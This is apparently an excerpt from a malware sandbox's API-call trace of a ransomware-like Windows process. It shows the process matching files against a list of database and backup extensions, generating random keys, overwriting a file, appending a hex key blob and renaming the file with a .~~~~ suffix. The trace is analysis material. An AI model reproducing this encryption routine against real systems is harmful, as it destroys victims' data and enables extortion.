	[0076.395] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".dtxs") returned 0x0
	[0076.395] lstrlenW (lpString=".db3") returned 4
	[0076.395] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".db3") returned 0x0
	[0076.395] lstrlenW (lpString=".OST") returned 4
	[0076.395] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".OST") returned 0x0
	[0076.395] lstrlenW (lpString=".dbx") returned 4
	[0076.395] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".dbx") returned 0x0
	[0076.395] lstrlenW (lpString=".DB3") returned 4
	[0076.395] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".DB3") returned 0x0
	[0076.395] lstrlenW (lpString=".DAT") returned 4
	[0076.395] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".DAT") returned 0x0
	[0076.395] lstrlenW (lpString=".VHDX") returned 5
	[0076.395] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".VHDX") returned 0x0
	[0076.395] lstrlenW (lpString=".ndf") returned 4
	[0076.395] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".ndf") returned 0x0
	[0076.395] lstrlenW (lpString=".DB") returned 3
	[0076.395] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".DB") returned 0x0
	[0076.395] lstrlenW (lpString=".sql") returned 4
	[0076.395] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".sql") returned 0x0
	[0076.395] lstrlenW (lpString=".MYD") returned 4
	[0076.395] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".MYD") returned 0x0
	[0076.395] lstrlenW (lpString=".DBT") returned 4
	[0076.395] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".DBT") returned 0x0
	[0076.395] lstrlenW (lpString=".ACCDB") returned 6
	[0076.395] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".ACCDB") returned 0x0
	[0076.395] lstrlenW (lpString=".fdb") returned 4
	[0076.396] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".fdb") returned 0x0
	[0076.396] lstrlenW (lpString=".bak") returned 4
	[0076.396] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".bak") returned 0x0
	[0076.396] lstrlenW (lpString=".myd") returned 4
	[0076.396] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".myd") returned 0x0
	[0076.396] lstrlenW (lpString=".DTXS") returned 5
	[0076.396] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".DTXS") returned 0x0
	[0076.396] lstrlenW (lpString=".ckp") returned 4
	[0076.396] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".ckp") returned 0x0
	[0076.396] lstrlenW (lpString=".dbt") returned 4
	[0076.396] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".dbt") returned 0x0
	[0076.396] lstrlenW (lpString=".db") returned 3
	[0076.396] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".db") returned 0x0
	[0076.396] lstrlenW (lpString=".TXT") returned 4
	[0076.396] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".TXT") returned 0x0
	[0076.396] lstrlenW (lpString=".MDF") returned 4
	[0076.396] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".MDF") returned 0x0
	[0076.396] lstrlenW (lpString=".bdb") returned 4
	[0076.396] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".bdb") returned 0x0
	[0076.396] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0076.396] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0076.396] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3a7108
	[0076.396] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0076.396] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0076.397] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0076.397] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0076.397] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0076.397] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0076.397] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x39b740
	[0076.397] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=19638756360) returned 1
	[0076.398] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x976eb130, dwHighDateTime=0x1d60e1e)) 
	[0076.398] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0076.398] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0076.398] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0076.398] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a33e0
	[0076.398] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0076.398] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a33e0 | out: hHeap=0x300000) returned 1
	[0076.398] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0076.398] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0076.398] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e82c0
	[0076.398] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0076.398] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.398] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e82c0 | out: hHeap=0x300000) returned 1
	[0076.398] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0076.398] GetLastError () returned 0x0
	[0076.398] GetLastError () returned 0x0
	[0076.398] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0076.398] GetLastError () returned 0x0
	[0076.398] GetLastError () returned 0x0
	[0076.399] ReadFile (in: hFile=0x130, lpBuffer=0x3b76e0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesRead=0x26dfec0*=0x10676, lpOverlapped=0x0) returned 1
	[0076.549] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffef98a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0076.563] WriteFile (in: hFile=0x130, lpBuffer=0x3b76e0*, nNumberOfBytesToWrite=0x10676, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesWritten=0x26dfec0*=0x10676, lpOverlapped=0x0) returned 1
	[0076.574] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b76e0 | out: hHeap=0x300000) returned 1
	[0076.574] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.574] WriteFile (in: hFile=0x130, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0076.574] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0076.575] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0076.575] CloseHandle (hObject=0x130) returned 1
	[0076.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5748
	[0076.575] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.~~~~")) returned 1
	[0076.576] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5748 | out: hHeap=0x300000) returned 1
	[0076.576] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0076.576] GetLastError () returned 0x0
	[0076.576] RtlWakeConditionVariable () returned 0x365f70
	[0076.576] GetCurrentThreadId () returned 0x9cc
	[0076.576] GetCurrentThreadId () returned 0x9cc
	[0076.576] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b41e8
	[0076.576] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ad3e8 | out: hHeap=0x300000) returned 1
	[0076.576] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a35d8 | out: hHeap=0x300000) returned 1
	[0076.576] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0076.576] lstrlenW (lpString=".scr") returned 4
	[0076.576] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".scr") returned 0x0
	[0076.577] lstrlenW (lpString=".cmd") returned 4
	[0076.577] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".cmd") returned 0x0
	[0076.577] lstrlenW (lpString=".dll") returned 4
	[0076.577] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".dll") returned 0x0
	[0076.577] lstrlenW (lpString=".bat") returned 4
	[0076.577] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".bat") returned 0x0
	[0076.577] lstrlenW (lpString=".cpl") returned 4
	[0076.577] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".cpl") returned 0x0
	[0076.577] lstrlenW (lpString=".sys") returned 4
	[0076.577] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".sys") returned 0x0
	[0076.577] lstrlenW (lpString=".msc") returned 4
	[0076.577] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".msc") returned 0x0
	[0076.577] lstrlenW (lpString=".com") returned 4
	[0076.577] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".com") returned 0x0
	[0076.577] lstrlenW (lpString=".lnk") returned 4
	[0076.577] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".lnk") returned 0x0
	[0076.577] lstrlenW (lpString=".msp") returned 4
	[0076.577] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".msp") returned 0x0
	[0076.577] lstrlenW (lpString=".pif") returned 4
	[0076.577] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".pif") returned 0x0
	[0076.577] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0076.577] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0076.578] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
	[0076.578] lstrlenW (lpString=".sqb") returned 4
	[0076.578] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".sqb") returned 0x0
	[0076.578] lstrlenW (lpString=".ost") returned 4
	[0076.578] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".ost") returned 0x0
	[0076.578] lstrlenW (lpString=".txt") returned 4
	[0076.578] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".txt") returned 0x0
	[0076.578] lstrlenW (lpString=".mdt") returned 4
	[0076.578] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".mdt") returned 0x0
	[0076.578] lstrlenW (lpString=".BDB") returned 4
	[0076.578] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".BDB") returned 0x0
	[0076.578] lstrlenW (lpString=".eql") returned 4
	[0076.578] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".eql") returned 0x0
	[0076.578] lstrlenW (lpString=".DBF") returned 4
	[0076.578] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".DBF") returned 0x0
	[0076.578] lstrlenW (lpString=".EQL") returned 4
	[0076.578] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".EQL") returned 0x0
	[0076.578] lstrlenW (lpString=".FDB") returned 4
	[0076.578] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".FDB") returned 0x0
	[0076.579] lstrlenW (lpString=".EDB") returned 4
	[0076.579] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".EDB") returned 0x0
	[0076.579] lstrlenW (lpString=".DACPAC") returned 7
	[0076.579] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".DACPAC") returned 0x0
	[0076.579] lstrlenW (lpString=".VHD") returned 4
	[0076.579] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".VHD") returned 0x0
	[0076.579] lstrlenW (lpString=".DBV") returned 4
	[0076.579] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".DBV") returned 0x0
	[0076.579] lstrlenW (lpString=".dacpac") returned 7
	[0076.579] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".dacpac") returned 0x0
	[0076.579] lstrlenW (lpString=".sdf") returned 4
	[0076.579] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".sdf") returned 0x0
	[0076.579] lstrlenW (lpString=".accdb") returned 6
	[0076.579] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".accdb") returned 0x0
	[0076.579] lstrlenW (lpString=".DBX") returned 4
	[0076.579] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".DBX") returned 0x0
	[0076.579] lstrlenW (lpString=".MDT") returned 4
	[0076.579] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".MDT") returned 0x0
	[0076.579] lstrlenW (lpString=".SQB") returned 4
	[0076.579] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".SQB") returned 0x0
	[0076.579] lstrlenW (lpString=".vhd") returned 4
	[0076.579] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".vhd") returned 0x0
	[0076.579] lstrlenW (lpString=".bac") returned 4
	[0076.580] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".bac") returned 0x0
	[0076.580] lstrlenW (lpString=".mdf") returned 4
	[0076.580] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".mdf") returned 0x0
	[0076.580] lstrlenW (lpString=".BAK") returned 4
	[0076.580] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".BAK") returned 0x0
	[0076.580] lstrlenW (lpString=".BAC") returned 4
	[0076.580] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".BAC") returned 0x0
	[0076.580] lstrlenW (lpString=".dbs") returned 4
	[0076.580] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".dbs") returned 0x0
	[0076.580] lstrlenW (lpString=".vhdx") returned 5
	[0076.580] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".vhdx") returned 0x0
	[0076.580] lstrlenW (lpString=".NDF") returned 4
	[0076.580] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".NDF") returned 0x0
	[0076.580] lstrlenW (lpString=".dat") returned 4
	[0076.580] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".dat") returned 0x0
	[0076.580] lstrlenW (lpString=".DBS") returned 4
	[0076.580] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".DBS") returned 0x0
	[0076.580] lstrlenW (lpString=".CKP") returned 4
	[0076.580] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".CKP") returned 0x0
	[0076.580] lstrlenW (lpString=".edb") returned 4
	[0076.580] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".edb") returned 0x0
	[0076.580] lstrlenW (lpString=".PST") returned 4
	[0076.580] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".PST") returned 0x0
	[0076.580] lstrlenW (lpString=".dbf") returned 4
	[0076.580] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".dbf") returned 0x0
	[0076.581] lstrlenW (lpString=".SQL") returned 4
	[0076.581] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".SQL") returned 0x0
	[0076.581] lstrlenW (lpString=".pst") returned 4
	[0076.581] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".pst") returned 0x0
	[0076.581] lstrlenW (lpString=".dbv") returned 4
	[0076.581] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".dbv") returned 0x0
	[0076.581] lstrlenW (lpString=".SDF") returned 4
	[0076.581] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".SDF") returned 0x0
	[0076.581] lstrlenW (lpString=".dtxs") returned 5
	[0076.581] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".dtxs") returned 0x0
	[0076.581] lstrlenW (lpString=".db3") returned 4
	[0076.581] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".db3") returned 0x0
	[0076.581] lstrlenW (lpString=".OST") returned 4
	[0076.581] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".OST") returned 0x0
	[0076.581] lstrlenW (lpString=".dbx") returned 4
	[0076.581] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".dbx") returned 0x0
	[0076.581] lstrlenW (lpString=".DB3") returned 4
	[0076.581] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".DB3") returned 0x0
	[0076.581] lstrlenW (lpString=".DAT") returned 4
	[0076.581] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".DAT") returned 0x0
	[0076.581] lstrlenW (lpString=".VHDX") returned 5
	[0076.581] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".VHDX") returned 0x0
	[0076.581] lstrlenW (lpString=".ndf") returned 4
	[0076.581] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".ndf") returned 0x0
	[0076.581] lstrlenW (lpString=".DB") returned 3
	[0076.582] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".DB") returned 0x0
	[0076.582] lstrlenW (lpString=".sql") returned 4
	[0076.582] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".sql") returned 0x0
	[0076.582] lstrlenW (lpString=".MYD") returned 4
	[0076.582] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".MYD") returned 0x0
	[0076.582] lstrlenW (lpString=".DBT") returned 4
	[0076.582] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".DBT") returned 0x0
	[0076.582] lstrlenW (lpString=".ACCDB") returned 6
	[0076.582] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpSrch=".ACCDB") returned 0x0
	[0076.582] lstrlenW (lpString=".fdb") returned 4
